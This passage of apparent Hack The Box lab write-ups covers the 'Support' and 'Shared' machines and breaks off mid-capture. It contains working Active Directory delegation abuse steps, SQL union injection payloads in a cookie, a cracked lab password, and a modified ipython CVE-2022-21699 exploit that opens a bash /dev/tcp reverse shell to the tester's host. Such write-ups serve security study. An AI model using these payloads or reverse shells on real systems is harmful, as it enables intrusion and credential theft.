Upload SharpHound.exe and run it:
```
*Evil-WinRM* PS C:\Users\support\Documents> .\SharpHound.exe
2022-08-01T16:59:37.8577528-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-08-01T16:59:37.8577528-07:00|INFORMATION|Initializing SharpHound at 4:59 PM on 8/1/2022
2022-08-01T16:59:38.1702551-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-08-01T16:59:38.3421370-07:00|INFORMATION|Beginning LDAP search for support.htb
2022-08-01T16:59:38.4046350-07:00|INFORMATION|Producer has finished, closing LDAP channel
2022-08-01T16:59:38.4046350-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2022-08-01T17:00:08.4455283-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 36 MB RAM
2022-08-01T17:00:20.7485323-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2022-08-01T17:00:20.7797405-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2022-08-01T17:00:20.9047428-07:00|INFORMATION|Status: 109 objects finished (+109 2.595238)/s -- Using 42 MB RAM
2022-08-01T17:00:20.9047428-07:00|INFORMATION|Enumeration finished in 00:00:42.5649012
2022-08-01T17:00:21.0141259-07:00|INFORMATION|SharpHound Enumeration Completed at 5:00 PM on 8/1/2022! Happy Graphing!
```
To get BloodHound setup, you can [follow this guide](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux). Then, just download the zip file ([20220801170020\_BloodHound.zip](https://github.com/HHousen/hack-the-box/blob/master/Machines/Support/20220801170020_BloodHound.zip)) from the machine and drag and drop it onto the BloodHound interface. Then, on the Analysis tab, choose "Shortest Paths to High Value Targets":
Right click the `DC.SUPPORT.HTB` machine and choose "Shortest Paths to Here":
The `SHARED SUPPORT ACCOUNTS@SUPPORT.HTB` group has the `GenericAll` permission on `DC.SUPPORT.HTB`. If we right click that group, we will see that the `support` user we have access to is a member of the group. So, we have the `GenericAll` permission.
Searching for "genericall active directory" finds [this page](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-genericwrite-write-on-computer), which explains that "if you have GenericAll/GenericWrite/Write on a Computer object, you can pull [Kerberos Resource-based Constrained Delegation: Computer Object Takeover](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution) off.
We need the following PowerShell modules to follow the guide: [PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) ([GitHub repo](https://github.com/PowerShellMafia/PowerSploit)) and [Powermad.ps1](https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1) ([GitHub repo](https://github.com/Kevin-Robertson/Powermad)). Download them and then upload them to the box using evil-winrm's `upload` command. Load them by running the following commands:
```powershell
import-module .\Powermad.ps1
import-module .\PowerView.ps1
```
The first step is to create a new computer object for our fake computer, `FAKE01`. This is the computer that will be trusted by our target computer `dc.support.htb` later on.
```powershell
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Output:
```
Verbose: [+] Domain Controller = dc.support.htb
Verbose: [+] Domain = support.htb
Verbose: [+] SAMAccountName = FAKE01$
Verbose: [+] Distinguished Name = CN=FAKE01,CN=Computers,DC=support,DC=htb
[+] Machine account FAKE01 added
```
Get the newly created computer SID with `Get-DomainComputer fake01`:
```
pwdlastset : 8/1/2022 5:45:17 PM
logoncount : 0
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname : CN=FAKE01,CN=Computers,DC=support,DC=htb
objectclass : {top, person, organizationalPerson, user...}
name : FAKE01
objectsid : S-1-5-21-1677581083-3380853377-188903654-5601
samaccountname : FAKE01$
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
accountexpires : NEVER
countrycode : 0
whenchanged : 8/2/2022 12:45:17 AM
instancetype : 4
usncreated : 86213
objectguid : e47a18ce-3de8-435a-9f5e-a8e65cf5addd
lastlogon : 12/31/1600 4:00:00 PM
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=support,DC=htb
dscorepropagationdata : 1/1/1601 12:00:00 AM
serviceprincipalname : {RestrictedKrbHost/FAKE01, HOST/FAKE01, RestrictedKrbHost/FAKE01.support.htb, HOST/FAKE01.support.htb}
ms-ds-creatorsid : {1, 5, 0, 0...}
badpwdcount : 0
cn : FAKE01
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT
whencreated : 8/2/2022 12:45:17 AM
primarygroupid : 515
iscriticalsystemobject : False
usnchanged : 86215
dnshostname : FAKE01.support.htb
```
The SID is `S-1-5-21-1677581083-3380853377-188903654-5601`.
Next, create a new raw security descriptor for the `FAKE01` computer principal:
```powershell
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1677581083-3380853377-188903654-5601)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
```
After that, apply the security descriptor bytes to the target `dc.support.htb` machine by running `Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose`:
```
Verbose: [Get-DomainSearcher] search base: LDAP://DC=support,DC=htb
Verbose: [Get-DomainObject] Extracted domain 'support.htb' from 'CN=DC,OU=Domain Controllers,DC=support,DC=htb'
Verbose: [Get-DomainSearcher] search base: LDAP://DC=support,DC=htb
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=DC,OU=Domain Controllers,DC=support,DC=htb)))
Verbose: [Set-DomainObject] Setting 'msds-allowedtoactonbehalfofotheridentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 27 219 253 99 129 186 131 201 230 112 66 11 225 21 0 0' for object 'DC$'
```
To get a Kerberos ticket, the guide uses [Rubeus](https://github.com/GhostPack/Rubeus), which only runs on Windows and seems difficult to set up. Searching for "impacket get kerberos ticket to impersonate user" finds [impacket](https://github.com/SecureAuthCorp/impacket)'s [getST.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/getST.py):
```
$ getST.py support.htb/fake01:123456 -dc-ip 10.129.227.255 -impersonate Administrator -spn www/dc.support.htb
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
```
Now we have the Kerberos ticket. Looking at the [tools available in impacket](https://www.secureauth.com/labs/open-source-tools/impacket/) shows "[wmiexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py): A semi-interactive shell, used through Windows Management Instrumentation. It does not require to install any service/agent at the target server. Runs as Administrator. Highly stealthy." It also [has an option](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py#L388) to use a Kerberos ticket through the `KRB5CCNAME` environment variable. It looks like [smbexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py) is popular and would work as well.
So, let's run the following to get a shell:
```
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass support.htb/Administrator@dc.support.htb
```
Initially, I got the error `[-] [Errno Connection error (dc.support.htb:445)] [Errno -3] Temporary failure in name resolution`. So, I added `dc.support.htb` and `support.htb` to the `/etc/hosts` file. After that, the command worked!
```
$ wmiexec.py -k -no-pass support.htb/Administrator@dc.support.htb
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
support\administrator
C:\>type C:\Users\Administrator\Desktop\root.txt
0b**ee
```
# Shared
## Summary
Running an `nmap` scan finds SSH and a basic online shop powered by [PrestaShop](https://www.prestashop.com) at `https://shared.htb`. We add an item to the cart and try to checkout, which redirects us to `checkout.shared.htb`. The website knows which items are in our cart through a `custom_cart` cookie on the `shared.htb` domain. The cookie references the product code and the quantity that is in our cart. We manually perform a [SQL union injection attack](https://portswigger.net/web-security/sql-injection/union-attacks) on this cookie and read a username and password hash, which can be cracked using [CrackStation](https://crackstation.net/), from the database. With our credentials, we connect to the machine via SSH as the `james_mason` user.
Now that we are on the box, we run [pspy](https://github.com/DominicBreuker/pspy) and see `ipython` being executed on a schedule in a specific directory as the `dan_smith` user. Since the box is using `ipython` version `8.0.0`, we use [CVE-2022-21699](https://nvd.nist.gov/vuln/detail/CVE-2022-21699) ([GitHub advisory with proof-of-concept exploit](https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x)) and get a reverse shell as `dan_smith`. We can now get the `user.txt` flag.
To escalate to `root`, we try connecting to a redis server we noticed when we ran `pspy` earlier. The redis server needs a password, so we run [LinPEAS](https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/README.md) and find that we can execute `/usr/local/bin/redis_connector_dev`. The script is able to execute the `info` command on the redis server so it must have the password stored within it. From the [redis documentation](https://redis.io/docs/manual/security/#authentication), we know that the password is sent in plain-text. So, we use netcat to capture the password from the program and then we use it to authenticate to the redis server running on the box. We try several exploits from HackTricks, but the [LUA sandbox bypass](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#lua-sandbox-bypass) ends up working. This is [CVE-2022-0543](https://nvd.nist.gov/vuln/detail/CVE-2022-0543) and a simple script is available at [aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543). We modify the script to use our password and then we get the `root.txt` flag!
## Enumeration
### Nmap
First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.172 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.172`.
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
| 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
|_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://shared.htb
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
| tls-nextprotoneg:
| h2
|_ http/1.1
|_http-server-header: nginx/1.18.0
| tls-alpn:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Not valid before: 2022-03-20T13:37:14
|_Not valid after: 2042-03-15T13:37:14
|_http-title: Did not follow redirect to https://shared.htb
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
Nmap shows a redirect to `shared.htb`, so let's add that domain to `/etc/hosts`: `echo "10.10.11.172 shared.htb" | sudo tee -a /etc/hosts`.
### Nginx (Port `80` & `443`)
The HTTP version redirects to the HTTPS version. Looks like we have a basic online shop powered by [PrestaShop](https://www.prestashop.com) (see footer):
The main page references a new checkout page (see above), so we should definitely investigate that.
Searching for "prestashop vulnerabilities" finds [Major Security Vulnerability on PrestaShop Websites](https://build.prestashop.com/news/major-security-vulnerability-on-prestashop-websites/) and [Prestashop Security Issues: Top 7 Most Common Prestashop Attacks](https://www.getastra.com/blog/prestashop-security/prestashop-security-issues/), which might be helpful later.
#### OWASP ZAP
I haven't used [OWASP ZAP](https://www.zaproxy.org/) before and it seems like a cool tool. In ZAP, perform an automated scan against `https://shared.htb/index.php`. Make sure you have the beta and alpha "Active scanner rules" plugins installed so ZAP can detect more vulnerabilities. Then, create a policy with a low default threshold and a low attack strength. Apply those levels to all the rules in that policy. In Tools > Options, increase the "Concurrent Scanning Threads per Host" to something like 20 to [speed up scan times](https://blog.mozilla.org/security/2013/07/10/how-to-speed-up-owasp-zap-scans/). Additionally, in the tree on the left, you can right click a node and select Exclude from > Scanner to remove it from the scan and make the scan faster by only scanning the necessary components. Finally, run a new scan with your newly created policy against `https://shared.htb`.
Here is the complete progress table:
| | Strength | Progress | Elapsed | Reqs | Alerts | Status |
| ------------------------------------------ | -------- | -------- | --------- | ----- | ------ | ---------------------------- |
| Analyser | | | 00:14.895 | 106 | | |
| | | | | | | |
| Plugin | | | | | | |
| Path Traversal | Low | 100 | 00:38.579 | 405 | 11 | Completed |
| Remote File Inclusion | Low | 100 | 00:27.468 | 260 | 0 | Completed |
| Source Code Disclosure - /WEB-INF folder | Low | 100 | 00:00.346 | 2 | 0 | Completed |
| External Redirect | Low | 100 | 00:14.385 | 156 | 0 | Completed |
| Server Side Include | Low | 100 | 00:23.401 | 208 | 0 | Completed |
| Cross Site Scripting (Reflected) | Low | 100 | 01:21.525 | 708 | 0 | Completed |
| Cross Site Scripting (Persistent) - Prime | Low | 100 | 00:06.167 | 52 | 0 | Completed |
| Cross Site Scripting (Persistent) - Spider | Low | 100 | 00:04.903 | 187 | 0 | Completed |
| Cross Site Scripting (Persistent) | Low | 100 | 00:03.520 | 0 | 0 | Completed |
| SQL Injection | Low | 100 | 00:35.812 | 390 | 2 | Completed |
| Server Side Code Injection | Low | 100 | 00:37.159 | 416 | 0 | Completed |
| Remote OS Command Injection | Low | 100 | 01:08.598 | 780 | 0 | Completed |
| Directory Browsing | Low | 100 | 00:15.279 | 187 | 0 | Completed |
| Buffer Overflow | Low | 100 | 00:06.292 | 52 | 0 | Completed |
| Format String Error | Low | 100 | 00:17.474 | 144 | 0 | Completed |
| CRLF Injection | Low | 100 | 00:31.252 | 364 | 0 | Completed |
| Parameter Tampering | Low | 100 | 00:41.855 | 364 | 0 | Completed |
| ELMAH Information Leak | Low | 100 | 00:00.104 | 1 | 1 | Completed |
| .htaccess Information Leak | Low | 100 | 00:03.139 | 67 | 66 | Completed |
| Script Active Scan Rules | Low | 100 | 00:00.002 | 0 | 0 | Skipped, no scripts enabled. |
| Source Code Disclosure - Git | Low | 100 | 00:03.102 | 0 | 0 | Completed |
| Source Code Disclosure - File Inclusion | Low | 100 | 00:08.195 | 104 | 0 | Completed |
| Remote Code Execution - Shell Shock | Low | 100 | 00:09.918 | 104 | 0 | Completed |
| Httpoxy - Proxy Header Misuse | Low | 100 | 00:30.581 | 1305 | 0 | Completed |
| Cross-Domain Misconfiguration | Low | 100 | 00:00.482 | 2 | 0 | Completed |
| Heartbleed OpenSSL Vulnerability | Low | 100 | 00:00.843 | 5 | 0 | Completed |
| Source Code Disclosure - CVE-2012-1823 | Low | 100 | 00:05.836 | 160 | 0 | Completed |
| Remote Code Execution - CVE-2012-1823 | Low | 100 | 00:19.512 | 374 | 0 | Completed |
| Session Fixation | Low | 100 | 00:02.833 | 0 | 0 | Completed |
| SQL Injection - MySQL | Low | 100 | 00:18.062 | 208 | 0 | Completed |
| SQL Injection - Hypersonic SQL | Low | 100 | 00:21.231 | 208 | 0 | Completed |
| SQL Injection - Oracle | Low | 100 | 00:19.905 | 208 | 0 | Completed |
| SQL Injection - PostgreSQL | Low | 100 | 00:20.243 | 208 | 0 | Completed |
| SQL Injection - SQLite | Low | 100 | 00:13.886 | 104 | 0 | Completed |
| Cross Site Scripting (DOM Based) | Low | 100 | 01:44.250 | 0 | 0 | Skipped, by user action. |
| SQL Injection - MsSQL | Low | 100 | 00:05.257 | 90 | 0 | Completed |
| XPath Injection | Low | 100 | 00:12.339 | 156 | 0 | Completed |
| XML External Entity Attack | Low | 100 | 00:03.299 | 0 | 0 | Completed |
| Generic Padding Oracle | Low | 100 | 00:03.686 | 0 | 0 | Completed |
| Expression Language Injection | Low | 100 | 00:04.947 | 52 | 0 | Completed |
| Cloud Metadata Potentially Exposed | Low | 100 | 00:00.483 | 1 | 1 | Completed |
| Source Code Disclosure - SVN | Low | 100 | 00:04.496 | 145 | 132 | Completed |
| Relative Path Confusion | Low | 100 | 00:03.488 | 39 | 0 | Completed |
| Backup File Disclosure | Low | 100 | 01:13.116 | 1790 | 83 | Completed |
| HTTP Only Site | Low | 100 | 00:00.014 | 0 | 0 | Completed |
| Anti-CSRF Tokens Check | Low | 100 | 00:03.952 | 22 | 22 | Completed |
| Integer Overflow Error | Low | 100 | 00:20.905 | 189 | 7 | Completed |
| Proxy Disclosure | Low | 100 | 00:36.839 | 1496 | 104 | Completed |
| Trace.axd Information Leak | Low | 100 | 00:03.199 | 67 | 12 | Completed |
| .env Information Leak | Low | 100 | 00:03.093 | 67 | 67 | Completed |
| Hidden File Finder | Low | 100 | 00:07.619 | 44 | 1 | Completed |
| XSLT Injection | Low | 100 | 00:09.868 | 114 | 0 | Completed |
| Insecure HTTP Method | Low | 100 | 00:10.245 | 187 | 0 | Completed |
| HTTPS Content Available via HTTP | Low | 100 | 00:04.904 | 174 | 25 | Completed |
| GET for POST | Low | 100 | 00:03.225 | 5 | 0 | Completed |
| User Agent Fuzzer | Low | 100 | 00:41.962 | 484 | 464 | Skipped, by user action. |
| HTTP Parameter Pollution | Low | 100 | 00:04.783 | 10 | 0 | Completed |
| Possible Username Enumeration | Low | 100 | 00:00.001 | 0 | 0 | Skipped |
| Cookie Slack Detector | Low | 100 | 00:16.495 | 738 | 184 | Completed |
| Server Side Template Injection | Low | 100 | 00:20.898 | 212 | 0 | Completed |
| Server Side Template Injection (Blind) | Low | 100 | 00:57.817 | 650 | 0 | Completed |
| | | | | | | |
| Totals | | | 18:30.655 | 17940 | 1183 | |
The "Path Traversal" seems to be a false positive (it had a "low" confidence). We can check the SQL Injection as well with [sqlmap](https://sqlmap.org/). However, running `sqlmap -u "https://shared.htb/index.php?controller=category&id_category=1" --random-agent --batch -p id_category --level 3 --risk 2` doesn't find anything.
#### Exploring the Website
Alright, that's enough messing around with ZAP. Let's explore the application. Let's add an item to the cart:
Clicking "Proceed to Checkout" redirects to `checkout.shared.htb`. So, let's add that to our `/etc/hosts`: `echo "10.10.11.172 checkout.shared.htb" | sudo tee -a /etc/hosts`.
Since we found this virtual host, let's scan for others with `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://shared.htb/ -H "Host: FUZZ.shared.htb" -fs 169`:
```
www [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 46ms]
checkout [Status: 200, Size: 3229, Words: 1509, Lines: 65, Duration: 30ms]
:: Progress: [114441/114441] :: Job [1/1] :: 1267 req/sec :: Duration: [0:01:32] :: Errors: 0 ::
```
This only finds `www` so nothing interesting.
Anyway, clicking "Pay" on `checkout.shared.htb` only shows an alert message and does nothing else, as shown by the HTML for the "Pay" button: `Pay`.
However, looking at the request to load the page shows a `custom_cart` cookie:
The cookie is `%7B%2253GG2EF8%22%3A%221%22%7D` and URL decoding it returns `{"53GG2EF8":"1"}`. This looks like a product ID and a quantity. Sure enough, adding another item to the cart gives us `{"53GG2EF8":"1","562XZDU8":"1"}`.
## Foothold
We have a product ID, which is a good candidate for SQL injection because e-commerce sites usually "store the products and their characteristics (price, description, availability, etc)... in a database" ([source](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection)). We can quickly test for a SQL injection by setting this cookie to `{"53GG2'+'EF8":"1"}`. This is a query that will evaluate to the same value originally if it is being ran as SQL. Sure enough, we get the same page. So, we have a SQL injection within this cookie.
I recommend using [BurpSuite](https://portswigger.net/burp) for the rest of this part since it makes sending the request with the URL encoded payload much easier than manually URL encoding and editing the cookie within a browser.
[This page from PortSwigger](https://portswigger.net/web-security/sql-injection) is a good introduction to SQL injections. In this case, we can use a [SQL union injection](https://portswigger.net/web-security/sql-injection/union-attacks). We will determine the number of columns in the query by appending `' ORDER BY 1--` and incrementing until we get a "Not Found" shown on the page. When we try `{"53GG2EF8' ORDER BY 4-- ":"1"}`, we get "Not Found," so 3 is the number of columns. The `ORDER BY` command "modifies the original query to order the results by different columns in the result set" ([source](https://portswigger.net/web-security/sql-injection/union-attacks)).
Next, we will add `AND 0=1` to prevent the first part of the query from running since `0=1` always evaluates to false. After that, we will add a `UNION SELECT` statement to see which columns are shown on the page. So, our final query if `{"53GG2EF8' and 0=1 union select 2,4,8-- ":"1"}`:
The `4` is shown under the "Product" heading, so that is the column we have control over.
We can use the `database()` function to ge the current database: `{"53GG2EF8' and 0=1 union select 2,database(),8-- ":"1"}`. This causes the "Product" column to show `checkout`, so the current database is `checkout`.
Next, we get the tables in the `checkout` database by running `{"53GG2EF8' and 0=1 union select 2,group_concat(table_name),8 from information_schema.tables WHERE table_schema = 'checkout'-- ":"1"}` (based on the command from [this StackOverflow answer](https://stackoverflow.com/a/27001800)). This gives us `user,product`.
After that, we use `{"53GG2EF8' and 0=1 union select 2,group_concat(column_name),8 from information_schema.columns WHERE table_schema = 'checkout' and table_name='user'-- ":"1"}` (based on the command from [this StackOverflow answer](https://stackoverflow.com/a/4165253)) to get the columns. As output, we get `id,username,password` in the "Product" column.
We can get the username with `{"53GG2EF8' and 0=1 union select 2,username,8 from checkout.user-- ":"1"}`: `james_mason`.
And we can get the password with `{"53GG2EF8' and 0=1 union select 2,password,8 from checkout.user-- ":"1"}`: `fc895d4eddc2fc12f995e18c865cf273`. Putting this hash into [CrackStation](https://crackstation.net/) gives us the password: `Soleil101`.
Using these credentials to connect over SSH works: `ssh james_mason@shared.htb` with password `Soleil101`.
## Lateral Movement
We reconnect using [pwncat](https://github.com/calebstewart/pwncat) to make it easy to copy files.
We run [pspy](https://github.com/DominicBreuker/pspy) and see the below output:
```
2022/08/02 17:48:44 CMD: UID=0 PID=1 | /sbin/init
2022/08/02 17:49:01 CMD: UID=0 PID=24748 | sleep 5
2022/08/02 17:49:01 CMD: UID=0 PID=24747 | /bin/bash /root/c.sh
2022/08/02 17:49:01 CMD: UID=1001 PID=24746 | /usr/bin/python3 /usr/local/bin/ipython
2022/08/02 17:49:01 CMD: UID=0 PID=24745 | /bin/sh -c /root/c.sh
2022/08/02 17:49:01 CMD: UID=1001 PID=24743 | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython
2022/08/02 17:49:01 CMD: UID=0 PID=24742 | /usr/sbin/CRON -f
2022/08/02 17:49:01 CMD: UID=0 PID=24741 | /usr/sbin/CRON -f
2022/08/02 17:49:06 CMD: UID=0 PID=24757 | (s-server)
2022/08/02 17:49:32 CMD: UID=0 PID=24762 |
2022/08/02 17:50:01 CMD: UID=1001 PID=24769 | /usr/bin/pkill ipython
2022/08/02 17:50:01 CMD: UID=1001 PID=24768 | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython
2022/08/02 17:50:01 CMD: UID=0 PID=24767 | sleep 5
2022/08/02 17:50:01 CMD: UID=0 PID=24766 | /bin/bash /root/c.sh
2022/08/02 17:50:01 CMD: UID=0 PID=24765 | /bin/sh -c /root/c.sh
2022/08/02 17:50:01 CMD: UID=0 PID=24764 | /usr/sbin/CRON -f
2022/08/02 17:50:01 CMD: UID=0 PID=24763 | /usr/sbin/CRON -f
2022/08/02 17:50:01 CMD: UID=1001 PID=24770 | /usr/bin/python3 /usr/local/bin/ipython
2022/08/02 17:50:06 CMD: UID=0 PID=24775 | perl -ne s/\((\d+)\)/print " $1"/ge
2022/08/02 17:50:06 CMD: UID=0 PID=24774 | pstree -p 24757
2022/08/02 17:50:06 CMD: UID=0 PID=24773 | /bin/bash /root/c.sh
2022/08/02 17:50:06 CMD: UID=0 PID=24779 |
2022/08/02 17:50:06 CMD: UID=0 PID=24780 | /usr/bin/redis-server 127.0.0.1:6379
```
We have a `redis-server` being started on localhost port `6379`. We also have `ipython` being executed in the `/opt/scripts_review/` directory, which looks promising. `ipython` is executed as UID `1001`, which is the `dan_smith` user according to `/etc/passwd`.
Running `ipython --version` tells us that it is version `8.0.0`. Searching for "" finds [the program in Snyk's vulnerability database](https://snyk.io/vuln/pip:ipython@8.0.0), which points us to [this vulnerability](https://security.snyk.io/vuln/SNYK-PYTHON-IPYTHON-2348630), which directs us to the [IPython release notes](https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699), which talk about [CVE-2022-21699](https://nvd.nist.gov/vuln/detail/CVE-2022-21699). Version `8.0.0` is "subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine." This is exactly what we want.
The [GitHub advisory](https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x) contains a proof-of-concept:
```bash
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py
```
Let's edit this to create a reverse shell instead. We use the standard bash reverse shell (`bash -c 'bash -i >& /dev/tcp/10.10.14.98/49113 0>&1'`) and just pass it to `os.system()`:
```bash
mkdir -m 777 /opt/scripts_review/profile_default
mkdir -m 777 /opt/scripts_review/profile_default/startup
echo 'import os;os.system("bash -c '\''bash -i >& /dev/tcp/10.10.14.98/49113 0>&1'\''")' > /opt/scripts_review/profile_default/startup/foo.py
```
Start a listener with `nc -lvnp 49113` (or using `pwncat`). After a few seconds or minutes, we get a reverse shell as `dan_smith`! We can now get the `user.txt` flag by running `cat ~/user.txt`.
## Privilege Escalation
We can get persistance by grabbing `dan_smith`'s private ssh key located at `~/.ssh/id_rsa`.
We saw a redis server being executed earlier. Looking at the open ports with `netstat -lntu` shows the following:
```
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:6379 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
udp 0 0 0.0.0.0:68 0.0.0.0:*
```
Sure enough, port `6379` is open. Port `3306`, which is the default MariaDB port, is also open. That is likely the database that we were able to inject to get access to the box as `james_mason`.
We find the credentials to the database in `/var/www/checkout.shared.htb/config/db.php`, but it doesn't contain any new information.
```php
$ cat /var/www/checkout.shared.htb/config/db.php
```
Back to `redis`. Looking at [HackTrick's guide for redis](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis), the first thing we should do is connect with `redis-cli`, which is installed on the box for us, and run `info`:
```
$ redis-cli
127.0.0.1:6379> info
NOAUTH Authentication required.
127.0.0.1:6379>
```
Looks like we are going to need some credentials.
Upload [LinPEAS](https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/README.md) and run with `./linpeas.sh -a 2>&1 | tee linpeas_report.txt`. Download the report with `download linepeas_report.txt` in the local terminal within `pwncat`. You can open [linpeas\_report.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Shared/linpeas_report.txt) with `less -R linpeas_report.txt`.
LinPEAS finds this:
```
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root dan_smith 33 Aug 2 16:24 /home/dan_smith/user.txt
-rwxr-x--- 1 root sysadmin 5974154 Mar 20 09:41 /usr/local/bin/redis_connector_dev
```
This is a file at `/usr/local/bin/redis_connector_dev` that we can read. Simply executing the file shows the following:
```
[+] Logging to redis instance using password...
INFO command result:
# Server
redis_version:6.0.15
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:4610f4c3acf7fb25
redis_mode:standalone
os:Linux 5.10.0-16-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:65360
run_id:7c6ac532f6b9c8ffbd6e325998267f7f72170a6a
tcp_port:6379
uptime_in_seconds:18
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:15312797
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
io_threads_active:0
```
The script is able to execute the `info` command on the `redis` server so it must have the password stored within it (or it reads it from somewhere). We download the file with `pwncat`: [redis\_connector\_dev](https://github.com/HHousen/hack-the-box/blob/master/Machines/Shared/redis_connector_dev/README.md).
```
$ file redis_connector_dev
Machines/Shared/redis_connector_dev: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=sdGIDsCGb51jonJ_67fq/_JkvEmzwH9g6f0vQYeDG/iH1iXHhyzaDZJ056wX9s/7UVi3T2i2LVCU8nXlHgr, not stripped
```
Running `strings` on the binary is useless since it is so large. The [redis documentation](https://redis.io/docs/manual/security/#authentication) says "When the authorization layer is enabled, Redis will refuse any query by unauthenticated clients. A client can authenticate itself by sending the AUTH command followed by the password... Since **the AUTH command, like every other Redis command, is sent unencrypted**, it does not protect against an attacker that has enough access to the network to perform eavesdropping."
So, we should be able to set up a netcat listener on the default redis port and see the password printed out for us. Start the listener with `nc -nvlp 6379` and then run the binary:
```
listening on [any] 6379 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 35308
*2
$4
auth
$16
